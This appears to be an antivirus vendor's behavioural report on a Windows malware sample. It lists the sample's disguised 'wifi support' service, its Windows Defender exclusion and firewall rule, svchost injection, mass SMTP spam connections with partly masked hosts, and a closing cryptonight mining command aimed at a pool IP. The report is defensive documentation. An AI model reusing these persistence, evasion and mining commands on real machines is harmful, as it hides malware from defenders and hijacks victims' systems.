Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\hfnmcbou] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\hfnmcbou] 'ImagePath' = '%WINDIR%\SysWOW64\hfnmcbou\qlspolhi.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\hfnmcbou] 'ImagePath' = '%WINDIR%\SysWOW64\hfnmcbou\qlspolhi.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\hfnmcbou' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\qlspolhi.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\qlspolhi.exe to %WINDIR%\syswow64\hfnmcbou\qlspolhi.exe
Deletes itself.
Network activity
Connects to
- 'mx.##teria.pl':25
- 'x3#####12.firstdata.com':25
- 'mx#######b02.gslb.pphosted.com':25
- 'aspmx.l.google.com':25
- 'mx#.#####ntransportation.com':25
- 'mx#######a02.gslb.pphosted.com':25
- 'sm##.snu.ac.kr':25
- 'ma#####1.it.volvo.com':25
- 'alt4.gmail-smtp-in.l.google.com':25
- 'alt3.gmail-smtp-in.l.google.com':25
- 'ma######.frederiksberg.dk':25
- 'ma####.exxonmobil.com':25
- 'ad#####mx401.alcoa.com':25
- 'mx#.#anmail.net':25
- 'va######.mail.dreamhost.com':25
- 'ma###.###hangeadministrado.com':25
- 'et###.#ail.tiscali.it':25
- 'alt2.gmail-smtp-in.l.google.com':25
- 'sm###.edelkey.net':25
- 'mx#######.mail.am0.yahoodns.net':25
- 'mx#######201.gslb.pphosted.com':25
- 'tn#####gw-02.telenor.no':25
- 'sm##.orange.fr':465
- 'alt1.aspmx.l.google.com':25
- 'mt##.##0.yahoodns.net':25
- 'dc######.emirates.net.ae':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'gmail-smtp-in.l.google.com':25
- 'bm####05.bmofg.com':25
- 'mx.####o.locaweb.com.br':25
- 'mx#.#etlife.com':25
TCP
HTTP GET requests
- http://www.google.com/
- http://ap#.#est7.com/v1/my_ip.php
- http://ip##fo.io/ip
- http://ip#####.#hatismyipaddress.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK sy####reschools.org
- DNS ASK ro####ter.rr.com
- DNS ASK dn#######edge02.email.rr.com
- DNS ASK fr###ier.com
- DNS ASK du###ncity.ie
- DNS ASK cl######.tstechnology.net
- DNS ASK cs.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ha##ail.net
- DNS ASK mx#.#anmail.net
- DNS ASK au###n.rr.com
- DNS ASK dn#######edge01.email.rr.com
- DNS ASK ug#.com
- DNS ASK us#####te004.ugs.com
- DNS ASK ex###mobil.com
- DNS ASK in##nie.fr
- DNS ASK ma####.exxonmobil.com
- DNS ASK in####d.smtp.vt.edu
- DNS ASK ma#####t.bdfgroup.com
- DNS ASK lu##ku.com
- DNS ASK mx#.#uukku.com
- DNS ASK st###sund.de
- DNS ASK ma##.#tralsund.de
- DNS ASK ar.###lamento.pt
- DNS ASK sr#####y1.parlamento.pt
- DNS ASK gl##o.com
- DNS ASK mx.####o.locaweb.com.br
- DNS ASK su####orinfo.com
- DNS ASK tr####savers.com
- DNS ASK mx#.##aroutes.com
- DNS ASK go#.com
- DNS ASK sm##.##cureserver.net
- DNS ASK go###nbray.com
- DNS ASK bb##df.com
- DNS ASK vt.edu
- DNS ASK ma######.frederiksberg.dk
- DNS ASK mx#.#etlife.com
- DNS ASK ha###sbank.com
- DNS ASK sn#.ac.kr
- DNS ASK sm##.snu.ac.kr
- DNS ASK ge###ital.com
- DNS ASK mx#######a02.gslb.pphosted.com
- DNS ASK kl##sen.com
- DNS ASK mx#.#####ntransportation.com
- DNS ASK pe###folio.com
- DNS ASK pp#.com
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK in#####gentresults.com
- DNS ASK x3#####12.firstdata.com
- DNS ASK ar###italy.com
- DNS ASK ci####klawock.com
- DNS ASK va######.mail.dreamhost.com
- DNS ASK me##ife.com
- DNS ASK ma#####1.it.volvo.com
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK vo##o.com
- DNS ASK fr####iksberg.dk
- DNS ASK bm####05.bmofg.com
- DNS ASK bf####ductions.com
- DNS ASK sm##.orange.fr
- DNS ASK bc#.edu
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK ca####.tam.itesm.mx
- DNS ASK hy##o.com
- DNS ASK sm###.edelkey.net
- DNS ASK ya###.com.br
- DNS ASK ti###linet.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK di##mex.com
- DNS ASK ma###.###hangeadministrado.com
- DNS ASK al##a.com
- DNS ASK ad#####mx401.alcoa.com
- DNS ASK ei#.ae
- DNS ASK dc######.emirates.net.ae
- DNS ASK ho###il.co.uk
- DNS ASK mx#.#lohof.com
- DNS ASK pu####odsint.com
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK ma##.##refoodsint.com
- DNS ASK us.#bm.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK jc##.net
- DNS ASK aspmx.l.google.com
- DNS ASK ke##en.net
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK se###wave.com
- DNS ASK ea###link.net
- DNS ASK mx#.##rthlink.net
- DNS ASK ej###potfun.com
- DNS ASK fa##.net
- DNS ASK mx##.#indstream.net
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK ij####otaward.com
- DNS ASK mx#.mail.ru
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK mx#.#otmail.com
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK co##ast.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK mx#.#omcast.net
- DNS ASK vf#.com
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ms##.hinet.net
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK ma#l.ru
- DNS ASK tn#####gw-02.telenor.no
- DNS ASK ch##ter.net
- DNS ASK ya##o.com
- DNS ASK wa##doo.fr
- DNS ASK sm####n.orange.fr
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK mo##nt.net
- DNS ASK mx####.carrierzone.com
- DNS ASK alt4.gmail-smtp-in.l.google.com
- DNS ASK google.com
- DNS ASK in##ria.pl
- DNS ASK mx.##teria.pl
- DNS ASK li###tysurf.fr
- DNS ASK mx#.free.fr
- DNS ASK ro###tmail.com
- DNS ASK be#####undragsted.com
- DNS ASK ma##.###hbruundragsted.com
- DNS ASK ca.#bm.com
- DNS ASK mx#.#harter.net
- DNS ASK ge###ties.com
- DNS ASK te##nor.com
- DNS ASK gm##l.com
- DNS ASK ya###.com.tw
- DNS ASK mx###.##il.gm0.yahoodns.net
- DNS ASK ms#.#inet.net
- DNS ASK ma#.com
- DNS ASK mx#.##il.icloud.com
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK pl##a.com
- DNS ASK 14#######0.pamx1.hotmail.com
- DNS ASK alt3.gmail-smtp-in.l.google.com
- DNS ASK ma#.#knet.sk
- DNS ASK sm##.#ail.swan.sk
- DNS ASK ro##rs.com
- DNS ASK mx#######.mail.am0.yahoodns.net
- DNS ASK ol##of.com
- DNS ASK tc##l.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\hfnmcbou\qlspolhi.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\hfnmcbou\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\qlspolhi.exe" %WINDIR%\SysWOW64\hfnmcbou\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create hfnmcbou binPath= "%WINDIR%\SysWOW64\hfnmcbou\qlspolhi.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description hfnmcbou "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start hfnmcbou' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\hfnmcbou\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\qlspolhi.exe" %WINDIR%\SysWOW64\hfnmcbou\
- '%WINDIR%\syswow64\sc.exe' create hfnmcbou binPath= "%WINDIR%\SysWOW64\hfnmcbou\qlspolhi.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description hfnmcbou "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start hfnmcbou
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.185:8087 -u w1 -p x --nicehash --safe
